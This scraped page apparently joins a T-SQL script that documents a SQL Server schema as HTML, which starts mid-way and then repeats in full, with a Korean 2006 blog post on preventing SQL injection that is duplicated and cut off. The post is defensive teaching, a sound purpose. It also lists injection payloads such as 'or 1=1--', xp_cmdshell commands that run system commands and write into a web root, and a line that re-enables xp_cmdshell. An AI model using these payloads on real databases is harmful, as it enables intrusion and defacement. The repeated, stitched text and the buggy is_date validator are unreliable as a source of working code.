select @Output = '<tr><td width="20px" align="center">' + Cast((@j) as varchar) + '</td><td width="250px">' + isnull(name,'') + '</td><td width="150px">' + isnull(col,'') + '</td><td>' + isnull(definition,'') + '</td></tr>'
from #Constraint where id = @j
print @Output
Set @j = @j + 1;
end
print '</table><br />'
end
--Check Constraints
truncate table #Constraint
if @SqlVersion = '2000'
begin
insert into #Constraint (Name, col, definition)
select object_name(c.constid), col_name(c.id, c.colid), s.text
from sysconstraints c
inner join #Tables t on t.object_id = c.id
left outer join syscomments s on s.id = c.constid
where t.id = @i
and ( convert(varchar,+ (c.status & 1)/1)
+ convert(varchar,(c.status & 2)/2)
+ convert(varchar,(c.status & 4)/4)
+ convert(varchar,(c.status & 8)/8)
+ convert(varchar,(c.status & 16)/16)
+ convert(varchar,(c.status & 32)/32)
+ convert(varchar,(c.status & 64)/64)
+ convert(varchar,(c.status & 128)/128) = '00101000'
or convert(varchar,+ (c.status & 1)/1)
+ convert(varchar,(c.status & 2)/2)
+ convert(varchar,(c.status & 4)/4)
+ convert(varchar,(c.status & 8)/8)
+ convert(varchar,(c.status & 16)/16)
+ convert(varchar,(c.status & 32)/32)
+ convert(varchar,(c.status & 64)/64)
+ convert(varchar,(c.status & 128)/128) = '00100100')
end
else if @SqlVersion = '2005'
begin
insert into #Constraint (Name, col, definition)
select c.name, col_name(parent_object_id, parent_column_id), definition
from sys.check_constraints c
inner join #Tables t on t.object_id = c.parent_object_id
where t.id = @i
order by c.name
end
Set @maxj = @@rowcount
set @j = 1
if (@maxj >0)
begin
print '<table border="0" cellspacing="0" cellpadding="0" width="750px"><tr><td><b>Check Constraints</b></td></tr></table>'
print '<table border="0" cellspacing="1" cellpadding="0" width="750px"><tr><th>Sr.</th><th>Name</th><th>Column</th><th>Definition</th></tr>'
While(@j <= @maxj)
begin
select @Output = '<tr><td width="20px" align="center">' + Cast((@j) as varchar) + '</td><td width="250px">' + isnull(name,'') + '</td><td width="150px">' + isnull(col,'') + '</td><td>' + isnull(definition,'') + '</td></tr>'
from #Constraint where id = @j
print @Output
Set @j = @j + 1;
end
print '</table><br />'
end
--Triggers
truncate table #Constraint
if @SqlVersion = '2000'
begin
insert into #Constraint (Name)
select tr.name
FROM sysobjects tr
inner join #Tables t on t.object_id = tr.parent_obj
where t.id = @i and tr.type = 'TR'
order by tr.name
end
else if @SqlVersion = '2005'
begin
insert into #Constraint (Name)
SELECT tr.name
FROM sys.triggers tr
inner join #Tables t on t.object_id = tr.parent_id
where t.id = @i
order by tr.name
end
Set @maxj = @@rowcount
set @j = 1
if (@maxj >0)
begin
print '<table border="0" cellspacing="0" cellpadding="0" width="750px"><tr><td><b>Triggers</b></td></tr></table>'
print '<table border="0" cellspacing="1" cellpadding="0" width="750px"><tr><th>Sr.</th><th>Name</th><th>Description</th></tr>'
While(@j <= @maxj)
begin
select @Output = '<tr><td width="20px" align="center">' + Cast((@j) as varchar) + '</td><td width="150px">' + isnull(name,'') + '</td><td></td></tr>'
from #Constraint where id = @j
print @Output
Set @j = @j + 1;
end
print '</table><br />'
end
--Indexes
truncate table #Indexes
if @SqlVersion = '2000'
begin
insert into #Indexes (Name, type, cols)
select i.name, case when i.indid = 0 then 'Heap' when i.indid = 1 then 'Clustered' else 'Nonclustered' end , c.name
from sysindexes i
inner join sysindexkeys k on k.indid = i.indid and k.id = i.id
inner join syscolumns c on c.id = k.id and c.colorder = k.colid
inner join #Tables t on t.object_id = i.id
where t.id = @i and i.name not like '_WA%'
order by i.name, i.keycnt
end
else if @SqlVersion = '2005'
begin
insert into #Indexes (Name, type, cols)
select i.name, case when i.type = 0 then 'Heap' when i.type = 1 then 'Clustered' else 'Nonclustered' end, col_name(i.object_id, c.column_id)
from sys.indexes i
inner join sys.index_columns c on i.index_id = c.index_id and c.object_id = i.object_id
inner join #Tables t on t.object_id = i.object_id
where t.id = @i
order by i.name, c.column_id
end
Set @maxj = @@rowcount
set @j = 1
set @sr = 1
if (@maxj >0)
begin
print '<table border="0" cellspacing="0" cellpadding="0" width="750px"><tr><td><b>Indexes</b></td></tr></table>'
print '<table border="0" cellspacing="1" cellpadding="0" width="750px"><tr><th>Sr.</th><th>Name</th><th>Type</th><th>Columns</th></tr>'
set @Output = ''
set @last = ''
set @current = ''
While(@j <= @maxj)
begin
select @current = isnull(name,'') from #Indexes where id = @j
if @last <> @current and @last <> ''
begin
print '<tr><td width="20px" align="center">' + Cast((@sr) as varchar) + '</td><td width="150px">' + @last + '</td><td width="150px">' + @typ + '</td><td>' + @Output + '</td></tr>'
set @Output = ''
set @sr = @sr + 1
end
select @Output = @Output + cols + '<br />' , @typ = type
from #Indexes where id = @j
set @last = @current
Set @j = @j + 1;
end
if @Output <> ''
begin
print '<tr><td width="20px" align="center">' + Cast((@sr) as varchar) + '</td><td width="150px">' + @last + '</td><td width="150px">' + @typ + '</td><td>' + @Output + '</td></tr>'
end
print '</table><br />'
end
Set @i = @i + 1;
--Print @Output
end
Print '</body>'
Print '</html>'
drop table #Tables
drop table #Columns
drop table #FK
drop table #Constraint
drop table #Indexes
set nocount off
--//Description: T-SQL script to generate the database document for SQL server 2000/2005
Declare @i Int, @maxi Int
Declare @j Int, @maxj Int
Declare @sr int
Declare @Output varchar(4000)
--Declare @tmpOutput varchar(max)
Declare @SqlVersion varchar(5)
Declare @last varchar(155), @current varchar(255), @typ varchar(255), @description varchar(4000)
create Table #Tables (id int identity(1, 1), Object_id int, Name varchar(155), Type varchar(20), [description] varchar(4000))
create Table #Columns (id int identity(1,1), Name varchar(155), Type Varchar(155), Nullable varchar(2), [description] varchar(4000))
create Table #Fk(id int identity(1,1), Name varchar(155), col Varchar(155), refObj varchar(155), refCol varchar(155))
create Table #Constraint(id int identity(1,1), Name varchar(155), col Varchar(155), definition varchar(1000))
create Table #Indexes(id int identity(1,1), Name varchar(155), Type Varchar(25), cols varchar(1000))
If (substring(@@VERSION, 1, 25 ) = 'Microsoft SQL Server 2005')
set @SqlVersion = '2005'
else if (substring(@@VERSION, 1, 26 ) = 'Microsoft SQL Server 2000')
set @SqlVersion = '2000'
else
set @SqlVersion = '2005'
Print '<head>'
Print '<title>::' + DB_name() + '::</title>'
Print '<style>'
Print ' body {'
Print ' font-family:verdana;'
Print ' font-size:9pt;'
Print ' }'
Print ' td {'
Print ' font-family:verdana;'
Print ' font-size:9pt;'
Print ' }'
Print ' th {'
Print ' font-family:verdana;'
Print ' font-size:9pt;'
Print ' background:#d3d3d3;'
Print ' }'
Print ' table'
Print ' {'
Print ' background:#d3d3d3;'
Print ' }'
Print ' tr'
Print ' {'
Print ' background:#ffffff;'
Print ' }'
Print ' </style>'
Print '</head>'
Print '<body>'
set nocount on
if @SqlVersion = '2000'
begin
insert into #Tables (Object_id, Name, Type, [description])
--FOR 2000
select object_id(table_name), '[' + table_schema + '].[' + table_name + ']',
case when table_type = 'BASE TABLE' then 'Table' else 'View' end,
cast(p.value as varchar(4000))
from information_schema.tables t
left outer join sysproperties p on p.id = object_id(t.table_name) and smallid = 0 and p.name = 'MS_Description'
order by table_type, table_schema, table_name
end
else if @SqlVersion = '2005'
begin
insert into #Tables (Object_id, Name, Type, [description])
--FOR 2005
Select o.object_id, '[' + s.name + '].[' + o.name + ']',
case when type = 'V' then 'View' when type = 'U' then 'Table' end,
cast(p.value as varchar(4000))
from sys.objects o
left outer join sys.schemas s on s.schema_id = o.schema_id
left outer join sys.extended_properties p on p.major_id = o.object_id and minor_id = 0 and p.name = 'MS_Description'
where type in ('U', 'V')
order by type, s.name, o.name
end
Set @maxi = @@rowcount
set @i = 1
print '<table border="0" cellspacing="0" cellpadding="0" width="550px" align="center"><tr><td colspan="3" style="height:50;font-size:14pt;text-align:center;"><a name="index"></a><b>Index</b></td></tr></table>'
print '<table border="0" cellspacing="1" cellpadding="0" width="550px" align="center"><tr><th>Sr</th><th>Object</th><th>Type</th></tr>'
While(@i <= @maxi)
begin
select @Output = '<tr><td align="center">' + Cast((@i) as varchar) + '</td><td><a href="#' + Type + ':' + name + '">' + name + '</a></td><td>' + Type + '</td></tr>'
from #Tables where id = @i
print @Output
set @i = @i + 1
end
print '</table><br />'
set @i = 1
While(@i <= @maxi)
begin
--table header
select @Output = '<tr><th align="left"><a name="' + Type + ':' + name + '"></a><b>' + Type + ':' + name + '</b></th></tr>', @description = [description]
from #Tables where id = @i
print '<br /><br /><br /><table border="0" cellspacing="0" cellpadding="0" width="750px"><tr><td align="right"><a href="#index">Index</a></td></tr>'
print @Output
print '</table><br />'
print '<table border="0" cellspacing="0" cellpadding="0" width="750px"><tr><td><b>Description</b></td></tr><tr><td>' + isnull(@description, '') + '</td></tr></table><br />'
--table columns
truncate table #Columns
if @SqlVersion = '2000'
begin
insert into #Columns (Name, Type, Nullable, [description])
--FOR 2000
Select c.name,
type_name(xtype) + (
case when (type_name(xtype) = 'varchar' or type_name(xtype) = 'nvarchar' or type_name(xtype) ='char' or type_name(xtype) ='nchar')
then '(' + cast(length as varchar) + ')'
when type_name(xtype) = 'decimal'
then '(' + cast(prec as varchar) + ',' + cast(scale as varchar) + ')'
else ''
end
),
case when isnullable = 1 then 'Y' else 'N' end,
cast(p.value as varchar(8000))
from syscolumns c
inner join #Tables t on t.object_id = c.id
left outer join sysproperties p on p.id = c.id and p.smallid = c.colid and p.name = 'MS_Description'
where t.id = @i
order by c.colorder
end
else if @SqlVersion = '2005'
begin
insert into #Columns (Name, Type, Nullable, [description])
--FOR 2005
Select c.name,
type_name(user_type_id) + (
case when (type_name(user_type_id) = 'varchar' or type_name(user_type_id) = 'nvarchar' or type_name(user_type_id) ='char' or type_name(user_type_id) ='nchar')
then '(' + cast(max_length as varchar) + ')'
when type_name(user_type_id) = 'decimal'
then '(' + cast([precision] as varchar) + ',' + cast(scale as varchar) + ')'
else ''
end
),
case when is_nullable = 1 then 'Y' else 'N' end,
cast(p.value as varchar(4000))
from sys.columns c
inner join #Tables t on t.object_id = c.object_id
left outer join sys.extended_properties p on p.major_id = c.object_id and p.minor_id = c.column_id and p.name = 'MS_Description'
where t.id = @i
order by c.column_id
end
Set @maxj = @@rowcount
set @j = 1
print '<table border="0" cellspacing="0" cellpadding="0" width="750px"><tr><td><b>Table Columns</b></td></tr></table>'
print '<table border="0" cellspacing="1" cellpadding="0" width="750px"><tr><th>Sr.</th><th>Name</th><th>Datatype</th><th>Nullable</th><th>Description</th></tr>'
While(@j <= @maxj)
begin
select @Output = '<tr><td width="20px" align="center">' + Cast((@j) as varchar) + '</td><td width="150px">' + isnull(name,'') + '</td><td width="150px">' + upper(isnull(Type,'')) + '</td><td width="50px" align="center">' + isnull(Nullable,'N') + '</td><td>' + isnull([description],'') + '</td></tr>'
from #Columns where id = @j
print @Output
Set @j = @j + 1;
end
print '</table><br />'
--reference key
truncate table #FK
if @SqlVersion = '2000'
begin
insert into #FK (Name, col, refObj, refCol)
-- FOR 2000
select object_name(constid), s.name, object_name(rkeyid) , s1.name
from sysforeignkeys f
inner join sysobjects o on o.id = f.constid
inner join syscolumns s on s.id = f.fkeyid and s.colorder = f.fkey
inner join syscolumns s1 on s1.id = f.rkeyid and s1.colorder = f.rkey
inner join #Tables t on t.object_id = f.fkeyid
where t.id = @i
order by 1
end
else if @SqlVersion = '2005'
begin
insert into #FK (Name, col, refObj, refCol)
-- FOR 2005
select f.name, COL_NAME (fc.parent_object_id, fc.parent_column_id) , object_name(fc.referenced_object_id) , COL_NAME (fc.referenced_object_id, fc.referenced_column_id)
from sys.foreign_keys f
inner join sys.foreign_key_columns fc on f.object_id = fc.constraint_object_id
inner join #Tables t on t.object_id = f.parent_object_id
where t.id = @i
order by f.name
end
Set @maxj = @@rowcount
set @j = 1
if (@maxj >0)
begin
print '<table border="0" cellspacing="0" cellpadding="0" width="750px"><tr><td><b>Refrence Keys</b></td></tr></table>'
print '<table border="0" cellspacing="1" cellpadding="0" width="750px"><tr><th>Sr.</th><th>Name</th><th>Column</th><th>Reference To</th></tr>'
While(@j <= @maxj)
begin
select @Output = '<tr><td width="20px" align="center">' + Cast((@j) as varchar) + '</td><td width="150px">' + isnull(name,'') + '</td><td width="150px">' + isnull(col,'') + '</td><td>[' + isnull(refObj,'N') + '].[' + isnull(refCol,'N') + ']</td></tr>'
from #FK where id = @j
print @Output
Set @j = @j + 1;
end
print '</table><br />'
end
--Default Constraints
truncate table #Constraint
if @SqlVersion = '2000'
begin
insert into #Constraint (Name, col, definition)
select object_name(c.constid), col_name(c.id, c.colid), s.text
from sysconstraints c
inner join #Tables t on t.object_id = c.id
left outer join syscomments s on s.id = c.constid
where t.id = @i
and
convert(varchar,+ (c.status & 1)/1)
+ convert(varchar,(c.status & 2)/2)
+ convert(varchar,(c.status & 4)/4)
+ convert(varchar,(c.status & 8)/8)
+ convert(varchar,(c.status & 16)/16)
+ convert(varchar,(c.status & 32)/32)
+ convert(varchar,(c.status & 64)/64)
+ convert(varchar,(c.status & 128)/128) = '10101000'
end
else if @SqlVersion = '2005'
begin
insert into #Constraint (Name, col, definition)
select c.name, col_name(parent_object_id, parent_column_id), c.definition
from sys.default_constraints c
inner join #Tables t on t.object_id = c.parent_object_id
where t.id = @i
order by c.name
end
Set @maxj = @@rowcount
set @j = 1
if (@maxj >0)
begin
print '<table border="0" cellspacing="0" cellpadding="0" width="750px"><tr><td><b>Default Constraints</b></td></tr></table>'
print '<table border="0" cellspacing="1" cellpadding="0" width="750px"><tr><th>Sr.</th><th>Name</th><th>Column</th><th>Value</th></tr>'
While(@j <= @maxj)
begin
select @Output = '<tr><td width="20px" align="center">' + Cast((@j) as varchar) + '</td><td width="250px">' + isnull(name,'') + '</td><td width="150px">' + isnull(col,'') + '</td><td>' + isnull(definition,'') + '</td></tr>'
from #Constraint where id = @j
print @Output
Set @j = @j + 1;
end
print '</table><br />'
end
--Check Constraints
truncate table #Constraint
if @SqlVersion = '2000'
begin
insert into #Constraint (Name, col, definition)
select object_name(c.constid), col_name(c.id, c.colid), s.text
from sysconstraints c
inner join #Tables t on t.object_id = c.id
left outer join syscomments s on s.id = c.constid
where t.id = @i
and ( convert(varchar,+ (c.status & 1)/1)
+ convert(varchar,(c.status & 2)/2)
+ convert(varchar,(c.status & 4)/4)
+ convert(varchar,(c.status & 8)/8)
+ convert(varchar,(c.status & 16)/16)
+ convert(varchar,(c.status & 32)/32)
+ convert(varchar,(c.status & 64)/64)
+ convert(varchar,(c.status & 128)/128) = '00101000'
or convert(varchar,+ (c.status & 1)/1)
+ convert(varchar,(c.status & 2)/2)
+ convert(varchar,(c.status & 4)/4)
+ convert(varchar,(c.status & 8)/8)
+ convert(varchar,(c.status & 16)/16)
+ convert(varchar,(c.status & 32)/32)
+ convert(varchar,(c.status & 64)/64)
+ convert(varchar,(c.status & 128)/128) = '00100100')
end
else if @SqlVersion = '2005'
begin
insert into #Constraint (Name, col, definition)
select c.name, col_name(parent_object_id, parent_column_id), definition
from sys.check_constraints c
inner join #Tables t on t.object_id = c.parent_object_id
where t.id = @i
order by c.name
end
Set @maxj = @@rowcount
set @j = 1
if (@maxj >0)
begin
print '<table border="0" cellspacing="0" cellpadding="0" width="750px"><tr><td><b>Check Constraints</b></td></tr></table>'
print '<table border="0" cellspacing="1" cellpadding="0" width="750px"><tr><th>Sr.</th><th>Name</th><th>Column</th><th>Definition</th></tr>'
While(@j <= @maxj)
begin
select @Output = '<tr><td width="20px" align="center">' + Cast((@j) as varchar) + '</td><td width="250px">' + isnull(name,'') + '</td><td width="150px">' + isnull(col,'') + '</td><td>' + isnull(definition,'') + '</td></tr>'
from #Constraint where id = @j
print @Output
Set @j = @j + 1;
end
print '</table><br />'
end
--Triggers
truncate table #Constraint
if @SqlVersion = '2000'
begin
insert into #Constraint (Name)
select tr.name
FROM sysobjects tr
inner join #Tables t on t.object_id = tr.parent_obj
where t.id = @i and tr.type = 'TR'
order by tr.name
end
else if @SqlVersion = '2005'
begin
insert into #Constraint (Name)
SELECT tr.name
FROM sys.triggers tr
inner join #Tables t on t.object_id = tr.parent_id
where t.id = @i
order by tr.name
end
Set @maxj = @@rowcount
set @j = 1
if (@maxj >0)
begin
print '<table border="0" cellspacing="0" cellpadding="0" width="750px"><tr><td><b>Triggers</b></td></tr></table>'
print '<table border="0" cellspacing="1" cellpadding="0" width="750px"><tr><th>Sr.</th><th>Name</th><th>Description</th></tr>'
While(@j <= @maxj)
begin
select @Output = '<tr><td width="20px" align="center">' + Cast((@j) as varchar) + '</td><td width="150px">' + isnull(name,'') + '</td><td></td></tr>'
from #Constraint where id = @j
print @Output
Set @j = @j + 1;
end
print '</table><br />'
end
--Indexes
truncate table #Indexes
if @SqlVersion = '2000'
begin
insert into #Indexes (Name, type, cols)
select i.name, case when i.indid = 0 then 'Heap' when i.indid = 1 then 'Clustered' else 'Nonclustered' end , c.name
from sysindexes i
inner join sysindexkeys k on k.indid = i.indid and k.id = i.id
inner join syscolumns c on c.id = k.id and c.colorder = k.colid
inner join #Tables t on t.object_id = i.id
where t.id = @i and i.name not like '_WA%'
order by i.name, i.keycnt
end
else if @SqlVersion = '2005'
begin
insert into #Indexes (Name, type, cols)
select i.name, case when i.type = 0 then 'Heap' when i.type = 1 then 'Clustered' else 'Nonclustered' end, col_name(i.object_id, c.column_id)
from sys.indexes i
inner join sys.index_columns c on i.index_id = c.index_id and c.object_id = i.object_id
inner join #Tables t on t.object_id = i.object_id
where t.id = @i
order by i.name, c.column_id
end
Set @maxj = @@rowcount
set @j = 1
set @sr = 1
if (@maxj >0)
begin
print '<table border="0" cellspacing="0" cellpadding="0" width="750px"><tr><td><b>Indexes</b></td></tr></table>'
print '<table border="0" cellspacing="1" cellpadding="0" width="750px"><tr><th>Sr.</th><th>Name</th><th>Type</th><th>Columns</th></tr>'
set @Output = ''
set @last = ''
set @current = ''
While(@j <= @maxj)
begin
select @current = isnull(name,'') from #Indexes where id = @j
if @last <> @current and @last <> ''
begin
print '<tr><td width="20px" align="center">' + Cast((@sr) as varchar) + '</td><td width="150px">' + @last + '</td><td width="150px">' + @typ + '</td><td>' + @Output + '</td></tr>'
set @Output = ''
set @sr = @sr + 1
end
select @Output = @Output + cols + '<br />' , @typ = type
from #Indexes where id = @j
set @last = @current
Set @j = @j + 1;
end
if @Output <> ''
begin
print '<tr><td width="20px" align="center">' + Cast((@sr) as varchar) + '</td><td width="150px">' + @last + '</td><td width="150px">' + @typ + '</td><td>' + @Output + '</td></tr>'
end
print '</table><br />'
end
Set @i = @i + 1;
--Print @Output
end
Print '</body>'
Print '</html>'
drop table #Tables
drop table #Columns
drop table #FK
drop table #Constraint
drop table #Indexes
set nocount off
SQL 인젝션 방지
이 포스트를 보낸곳 ()
SQL 인젝션 방지
개발/DB 2006/01/05 15:50
** Sql injection 필요조건
1. 사용자의 입력 값을 필터링, 인코딩 없이 그대로 서버 페이지에서 사용한다.
2. 그 입력 값을 이용해서 서버 페이지는 쿼리를 수행한다.
3. 명령 실행을 위해 사용되는 SQL 서버 계정이 SA일 경우, 피해는 더 커질 수 있다.
--상세한 방법
http://www.taeyo.net/Lecture/NET/Secure_Injection.asp
http://www.unixwiz.net/techtips/sql-injection.html
http://www.securiteam.com/securityreviews/5DP0N1P76E.html
http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf
** SQL injection 사전방지
- 사용자의 입력은 결코 신뢰하지 않는다
- 정규 표현식을 사용하여 적법한 입력 외에는 거부한다.
- 저장 프로시저를 사용한다(웹페이지에서 문자열 동적 쿼리는 피한다)
* 최대 문자열의 길이나 타입을 한정한다?
- Sysadmin 계정이 아닌 최소 권한 계정으로 데이터베이스에 연결하게 한다(sa계정을 사용하지 않는다)
- sql 쉘 실행권한을 없앤다. (주기적인 확인필요, 공격시 쉘권한을 복구하여 실행하는경우가 있음)
- 데이터베이스 연결 문자열을 가급적 config 파일에 저장하지 않는다(asp.net의 경우 web.config에 암호화하여 지정)
- 공격자에게 너무 많은 오류 정보를 노출하지 않는다
** SQL injection 방법과 대책
* 웹페이지에서 동적으로 쿼리 빌드 시, 문자열 연결이 아닌 매개변수 쿼리를 사용조작 및 주석처리화 및 에러분석가능
1. 사용자 인증공격 : 정상적인 sql을 변조하여 비정상적으로 통과
** 방식
입력창 : http://duck/index.asp?category=food' or 1=1--
처리되는 쿼리 : SELECT * FROM product WHERE PCategory='food' or 1=1--'
** 로그인경우
rs = select * from user_table where id='ID' and passwd='PWD'
if rs==1
//성공시
else
//실패시.
==> select * from user_table where id='admin' and passwd='' or 'x'='x';
: true, false, true => 결론적으로 true
** 대책
- 사용자의 모든입력값 및 url인자값에 대하여 특수문자 필터링(',<,>,;,--)
- 사용자의 모든 입력값, 크기 및 url인자값에 대하여 sql명령어 금지("/\;:Space--+등과 or, and, union, select, update, insert 등검사)
=> 해당변수의 특수문제 제거및 변형 Request.QueryString["ID"].ToString().Replace("'","\"");
//입력값일 경우 client 자바스크립트로 처리 실제
//한글포함여부
function is_han(val) { //한글이 하나라도 섞여 있으면 true를 반환
var judge = false;
for(var i = 0; i < val.length; i++) {
var chr = val.substr(i,1);
chr = escape(chr);
if (chr.charAt(1) == "u") {
chr = chr.substr(2, (chr.length - 1));
if((chr >= "3131" && chr <= "3163") || (chr >= "AC00" && chr <= "D7A3")) {
judge = true;
break;
}
}
else judge = false;
}
return judge;
}
//한글만 입력가능
function han_only(val) { //한글로만 되있으면 true를 반환 = 영어, 숫자, 특수문자가 있으면 false
var judge = false;
for(var i = 0; i < val.length; i++) {
var chr = val.substr(i,1);
chr = escape(chr);
if (chr.charAt(1) == "u") {
chr = chr.substr(2, (chr.length - 1));
if((chr >= "3131" && chr <= "3163") || (chr >= "AC00" && chr <= "D7A3")) judge = true;
}
else {
judge = false;
break;
}
}
return judge;
}
//영문만 입력확인
function eng_only(val) { //영어로만 되있으면 true를 반환 = 한글, 숫자, 특수문자가 있으면 false
var re = /^[A-Za-z]+$/g;
var rs = re.test(val);
return rs;
}
//이메일주소확인
function is_email(str) { //규정에 맞는 email 주소인지 체크
var r1 = new RegExp("(@.*@)|(\\.\\.)|(@\\.)|(^\\.)");
var r2 = new RegExp("^.+\\@(\\[?)[a-zA-Z0-9\\-\\.]+\\.([a-zA-Z]{2,3}|[0-9]{1,3})(\\]?)$");
return (!r1.test(str) && r2.test(str));
}
//숫자만 입력 확인
function is_number(str) {
var r = new RegExp("^[0-9]+$");
return r.test(str);
}
//전화번호 입력 확인
function is_phone(str) {
var r = new RegExp("^[0-9]{2,4}-[0-9]{2,4}-[0-9]{4,4}$");
return r.test(str);
}
//공백제거
function trim(str) { //trim()함수 구현
var newStr = str.replace(/^\s+/,"").replace(/\s+$/,"");
return newStr;
}
//엔터키처리
function enter_key(form) { //enter key를 눌렀을 때 submit
//처럼 사용한다
if (event.keyCode ==13) {
form.submit();
}
}
//날짜형식확인
function is_date(datein){ // 입력날짜의 기본값은 mm/dd/yy이고 다른 형식이면 arguments를 줘야한다.
var type = isDate.arguments[1];
var rval = false;
var indate=datein;
if (indate.indexOf("-")!=-1) var sdate = indate.split("-");
else var sdate = indate.split("/");
if(type=="yy/mm/dd") {
var newdate = Array(3);
newdate[0] = sdate[1];
newdate[1] = sdate[2];
newdate[2] = sdate[0];
indate = newdate.join("/");
sdate = indate.split("/");
}
var chkDate=new Date(Date.parse(indate))
var cmpDate=(chkDate.getMonth()+1)+"/"+(chkDate.getDate())+"/"+(chkDate.getYear())
var indate2=(Math.abs(sdate[0]))+"/"+(Math.abs(sdate[1]))+"/"+(Math.abs(sdate[2]))
if (indate2!=cmpDate) rval = false;
else {
if (cmpDate=="NaN/NaN/NaN") rval = false;
else rval = true;
}
return rval;
}
//주민번호 확인
function is_ssn(SSN1, SSN2) {
if (SSN1.length != 6 || SSN2.length != 7) return false;
var SSN = SSN1 + SSN2;
var strA, strB, strC, strD, strE, strF, strG, strH, strI, strJ, strK, strL, strM, strN, strO;
var nCalA, nCalB, nCalC;
strA = SSN.substr(0, 1);
strB = SSN.substr(1, 1);
strC = SSN.substr(2, 1);
strD = SSN.substr(3, 1);
strE = SSN.substr(4, 1);
strF = SSN.substr(5, 1);
strG = SSN.substr(6, 1);
strH = SSN.substr(7, 1);
strI = SSN.substr(8, 1);
strJ = SSN.substr(9, 1);
strK = SSN.substr(10, 1);
strL = SSN.substr(11, 1);
strM = SSN.substr(12, 1);
// CheckSum
strO = strA*2 + strB*3 + strC*4 + strD*5 + strE*6 + strF*7 + strG*8 + strH*9 + strI*2 + strJ*3 + strK*4 + strL*5;
nCalA = eval(strO);
nCalB = nCalA % 11;
nCalC = 11 - nCalB;
nCalC = nCalC % 10;
strv = '19';
strw = SSN.substr(0, 2);
strx = SSN.substr(2, 2);
stry = SSN.substr(4, 2);
// 날짜수 체크
strz = strv + strw;
if ((strz % 4 == 0) && (strz % 100 != 0) || (strz % 400 == 0)) yunyear = 29;
else yunyear = 28;
if ((strx <= 0) || (strx > 12)) return false;
if ((strx == 1 || strx == 3 || strx == 5 || strx == 7 || strx == 8 || strx == 10 || strx == 12) && (stry > 31 || stry <= 0)) return false;
if ((strx == 4 || strx == 6 || strx == 9 || strx == 11) && (stry > 30 || stry <= 0)) return false;
if (strx == 2 && (stry > yunyear || stry <= 0)) return false;
if (!((strG == 1) || (strG == 2) || (strG == 3) || (strG ==4))) return false;
if ( nCalC != strM ) return false;
return true;
}
//입력시 값 체크 onkeydown="handlerNum()", 최대값 제한 : MaxLength="5"
function handlerNum()
{
e = window.event; //윈도우의 event를 잡는것입니다. 그냥 써주심됩니당.
//숫자열 0 ~ 9 : 48 ~ 57, 키패드 0 ~ 9 : 96 ~ 105 ,8 : backspace, 46 : delete -->키코드값을 구분합니다.
if(e.keyCode >= 48 && e.keyCode <= 57 || e.keyCode >= 96 && e.keyCode <= 105 || e.keyCode == 8 || e.keyCode == 46)
{ //delete나 backspace는 입력이 되어야되니까..
if(e.keyCode == 48 || e.keyCode == 96)//0을 눌렀을경우
{
if(txtBox1.value == "" ) //아무것도 없는상태에서 0을 눌렀을경우
e.returnValue=false; //-->입력되지않는다.
else //다른숫자뒤에오는 0은
return; //-->입력시킨다.
}
else //0이 아닌숫자
return; //-->입력시킨다.
}
else //숫자가 아니면 넣을수 없다.
{
alert('숫자만 입력가능합니다');
e.returnValue=false;
}
}
** 동적 쿼리르 사용하지 않고 스토어 프로시저와 파라미터를 사용
private void Get_List(int ID)
{
try
{
string ConnectStr = ConnectionString();
SqlConnection Conn = new SqlConnection(ConnectStr);
SqlDataAdapter da = new SqlDataAdapter();
SqlCommand Cmd = new SqlCommand();
Cmd.Connection = Conn;
Cmd.CommandText = "test_GetJobsID"; //스토어 프로시저사용
Cmd.CommandType = CommandType.StoredProcedure;
Cmd.Parameters.Add("@ID",SqlDbType.Int,4); //파라미터사용
Cmd.Parameters["@ID"].Value = ID; //입력값 체크한후 처리
da.SelectCommand= Cmd;
DataSet ds = new DataSet();
da.Fill(ds,"test");
DataGrid1.DataSource = ds.Tables[0].DefaultView;
DataGrid1.DataBind();
}
catch(SqlException ex)
{
//SQL에러시 처리
}
catch(Exception exp)
{
//에러처리
}
finally
{
//연결종결
}
}
//디비 연결스트링
public string ConnectionString()
{
Base64Code bc = new Base64Code();
return bc.Base64Decode(ConfigurationSettings.AppSettings["ConnectionString"]);
}
// Web.config 설정 추가
- 사용자의 모든 입력값에 대하여 불필요한 에러 메시지 숨김
//Web.config 파일 설정
mode="RemoteOnly" defaultRedirect="/error/errorinfo.aspx">
- 웹어플리케이션이 사용하는 데이타베이스 유저의 권한을 제한
2. MS-SQL상에서 시스템 명령어 실행
** 방식
- xp_cmdshell 을 이용한 시스템 명령실행.
- 기타명령어(xp_startmail, xp_sendmail, xp_dirtree, xp_regdeletekey,
xp_regenumvalues, xp_regread, xp_regwrite, sp_makewebtask, sp_adduser, ...)
** 웹페이지에 악성코드 삽입 방식 실제
; exec master..xp_cmdshell 'ping 10.10.1.2'--
; exec master..xp_cmdshell 'echo >> c:\inetpub\wwwroot\index.html';
** 명령을 삭제하여도 복구후 해킹할수 있으므로 수시확인 필요
num=119' user master dbcc addextendedproc('xp_cmdshell','xplog70.dll')
** 대책
DB의 권한 축소 및 불필요한 sp 제거 : db_owner 권한의 제거 및 일반 user권한 부여
SQL 인젝션 방지
개발/DB 2006/01/05 15:50
** Sql injection 필요조건
1. 사용자의 입력 값을 필터링, 인코딩 없이 그대로 서버 페이지에서 사용한다.
2. 그 입력 값을 이용해서 서버 페이지는 쿼리를 수행한다.
3. 명령 실행을 위해 사용되는 SQL 서버 계정이 SA일 경우, 피해는 더 커질 수 있다.
--상세한 방법
http://www.taeyo.net/Lecture/NET/Secure_Injection.asp
http://www.unixwiz.net/techtips/sql-injection.html
http://www.securiteam.com/securityreviews/5DP0N1P76E.html
http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf
** SQL injection 사전방지
- 사용자의 입력은 결코 신뢰하지 않는다
- 정규 표현식을 사용하여 적법한 입력 외에는 거부한다.
- 저장 프로시저를 사용한다(웹페이지에서 문자열 동적 쿼리는 피한다)
* 최대 문자열의 길이나 타입을 한정한다?
- Sysadmin 계정이 아닌 최소 권한 계정으로 데이터베이스에 연결하게 한다(sa계정을 사용하지 않는다)
- sql 쉘 실행권한을 없앤다. (주기적인 확인필요, 공격시 쉘권한을 복구하여 실행하는경우가 있음)
- 데이터베이스 연결 문자열을 가급적 config 파일에 저장하지 않는다(asp.net의 경우 web.config에 암호화하여 지정)
- 공격자에게 너무 많은 오류 정보를 노출하지 않는다
** SQL injection 방법과 대책
* 웹페이지에서 동적으로 쿼리 빌드 시, 문자열 연결이 아닌 매개변수 쿼리를 사용조작 및 주석처리화 및 에러분석가능
1. 사용자 인증공격 : 정상적인 sql을 변조하여 비정상적으로 통과
** 방식
